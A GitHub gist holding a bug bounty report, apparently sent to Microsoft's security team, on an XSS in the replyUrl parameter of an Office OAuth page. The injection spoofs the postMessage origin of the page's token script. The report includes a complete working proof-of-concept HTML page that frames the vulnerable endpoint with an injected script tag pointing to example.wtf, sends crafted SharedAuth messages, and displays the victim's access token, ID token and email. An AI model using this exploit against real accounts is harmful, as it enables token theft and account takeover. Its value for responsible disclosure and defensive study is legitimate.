Skip to content

Instantly share code, notes, and snippets.

@RenwaX23
Last active March 28, 2024 10:24
Show Gist options
  • Save RenwaX23/0311842bb790ce98fe0cd8f41141fdf0 to your computer and use it in GitHub Desktop.
Save RenwaX23/0311842bb790ce98fe0cd8f41141fdf0 to your computer and use it in GitHub Desktop.

Hello MSRC Team, happy to send you another report :)

Intro

While looking at the online Word editor I saw oauth.online.office.com then I found an XSS on it which leads to leaking access token and Id token of logged in user, we can make as many tokens we want and use it on victim account.

Discovery

I went to Office home page www.office.com and chosen Word then New Blank Document it redirected me to onedrive.live.com/edit.aspx?resid=... Looking at the DOM of the page there was a big iframe pointing to word-edit.officeapps.live.com/we/wordeditorframe.aspx In my browser I have postMessage-logger which is just a simple script listens for every postMessage() and shows me inside the console, I got an interesting message inside my console:

Message received by: https://word-edit.officeapps.live.com
origin: https://oauth.online.office.com
data: {"MessageId":"SharedAuth_ScriptLoaded",..

Later the OAuth page responded with:

Message received by: https://oauth.online.office.com/oa/WacOAuth.aspx
origin: https://word-edit.officeapps.live.com
data: {"MessageId":"SharedAuth_Init",....

Lets look at the domain: https://oauth.online.office.com/oa/WacOAuth.aspx?replyUrl=https://word-edit.officeapps.live.com The DOM:

<script
type="text/javascript"
src="https://wise.public.cdn.office.net/wise/owl/sharedauthclient.f6062603a9a69f15721f.js"
data-origin="https://word-edit.officeapps.live.com"
...
    ></script>

Looking at JS codes and trying many things I found the purpose and parameters of this page/script, Inside the url we have replyUrl parameter which will become dataset attribute of the script tag data-origin The host should be word-edit.officeapps.live.com without any path or parameters otherwise the script won't run. If the host is matched in allowed list it will send a postMessage() to the parent window saying the script is ready to start, the allowed host will also sends a message to make a token for the logged-in user which the script will make fetch request and responds back with the the token to parent page with a message, simplified flow:

  • Allowed_host makes an iframe pointing to the OAuth site with its host as replyUrl
  • The iframe sends a message to parent the script is ready
  • parent send to iframe we need token for these appIds
  • iframe makes a fetch request to login.microsoftonline.com/consumers/oauth2/v2.0/authorize and sends a message to parent request is success
  • parent asks a token for a specific appId
  • iframe says here is the access_token , ID Token and User Info

Injection

The replyUrl parameter should be a real origin and a good syntax, it will be checked by server side to see if it's whitelisted, first request I made was this to check if the origin check is made by string checking or origin checking. replyUrl=https://@word-edit.officeapps.live.com --> data-origin="https://@word-edit.officeapps.live.com"

The check is based on origin by injecting @ before the hostname I found out it isn't string check because @word-edit.officeapps.live.com is same host as word-edit.officeapps.live.com

Next lets try to inject a path

replyUrl=https://word-edit.officeapps.live.com/test --> empty

Maybe parameters

replyUrl=https://word-edit.officeapps.live.com?test --> empty

Username and password of the host

replyUrl=https://test@test2word-edit.officeapps.live.com --> empty

Hash Fragment

replyUrl=https://word-edit.officeapps.live.com#test --> data-origin="https://word-edit.officeapps.live.com#test"

Nice now we have our input inside the attribute, lets try XSS

replyUrl=https://word-edit.officeapps.live.com%23test"onload="alert(23)" --> Refused to execute inline event handler because it violates the following Content Security Policy

Ohh there is a CSP let's check it script-src 'self' wise.public.cdn.office.net; No way to bypass this, the domains are almost static we don't have any JSONP, user uploaded files nor Angular gadgets, So I had to look for a way to make use of this Injection we have.

Origin Check Bypass

In previous I mentioned the script will the data-origin as second parameter of postMessage but how the script is using this data?

l = null === (i = document.getElementById("sharedauthscript")) || void 0 === i ? void 0 : i.dataset.origin;

It will check the element with ID sharedauthscript and grab dataset.origin, lets look at our injection DOM again:

<script
type="text/javascript"
src="https://wise.public.cdn.office.net/wise/owl/sharedauthclient.f6062603a9a69f15721f.js"
data-origin="https://word-edit.officeapps.live.com#test"onload="alert(23)""
...

Our injection is inside the script tag and we can inject any characters we want to here is the idea:

Communication

The script is huge and not so easy to read since its obfuscated so I had to follow steps of https://word-edit.officeapps.live.com going back to the document we opened and checking the postMessage messages I found these:

Exploitation & POC

Now we have everything need to make a real attack, the page isn't protected by XFO nor CSP so we will frame the page inside our host and spoof the data-origin value to our host, when the script loads we will send the required postMessage() functions to steal the tokens we want. POC: (change example.wtf to your host) Couldn't post here because of size limit, check the attachment

oauth_leak.html

Online POC: https://example.wtf/00mar18.html Video POC: Screen_Recording_Oauth_xss.mov

Mitigation

Fixing the vulnerability is easy just needs to prevent the XSS on oauth.online.office.com replyUrl parameter so it will escape double quotes " and <> so this attack can't be done and the origin can't be spoofed. Thanks Renwa


Contents of oauth_leak.html :

<body>
<iframe src='https://oauth.online.office.com/oa/WacOAuth.aspx?replyUrl=https://word-edit.officeapps.live.com%23%22%3E%3C/script%3E%3Cscript+data-origin=%22https://example.wtf%22+data-scriptload=%22PRODUCTION.50:%2020230319.13%22+id=%22sharedauthscript%22+src=https://wise.public.cdn.office.net/wise/owl/sharedauthclient.f6062603a9a69f15721f.js%3E%3C/script%3E'></iframe>

<script>
var info = '';
setTimeout(()=>{
frames[0].postMessage('{"MessageId":"SharedAuth_Init","SendTime":1680300503419,"CorrelationId":"","Values":{"appIds":["b23dd4db-9142-4734-867f-3577f640ad0c"],"upn":"test@hotmail.com","authority":"https://login.microsoftonline.com/","authorityType":"msa","tenantId":"9188040d-6c67-4c5b-b112-36a304b66dad","correlationId":"","enableConsoleLogging":false,"enablePopupFlash":false,"skipUpnCheck":true,"interactive":false}}','*')
},1500)

setTimeout(()=>{
frames[0].postMessage('{"MessageId":"SharedAuth_TryGetToken","SendTime":1680312156987,"CorrelationId":"","Values":{"appName":"Loki","appId":"b23dd4db-9142-4734-867f-3577f640ad0c","target":"liveprofilecard.access","withPopup":false,"claims":null,"promptMessage":"","messageCorrelationId":""}}','*')
},3500)

window.addEventListener('message',(e)=>{
nn=JSON.parse(e.data);
info='<br><h1>pwned, account name: '+nn.Values.response.MsalResult.idTokenClaims.name + '<br>Email: ' +nn.Values.response.MsalResult.idTokenClaims.preferred_username +'<br>access token: '+nn.Values.response.MsalResult.accessToken + '<br>id Token: ' + nn.Values.response.MsalResult.idToken
})
setTimeout(()=>{
document.body.innerHTML=info;
},5000)
</script>

Video POC:

poc

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment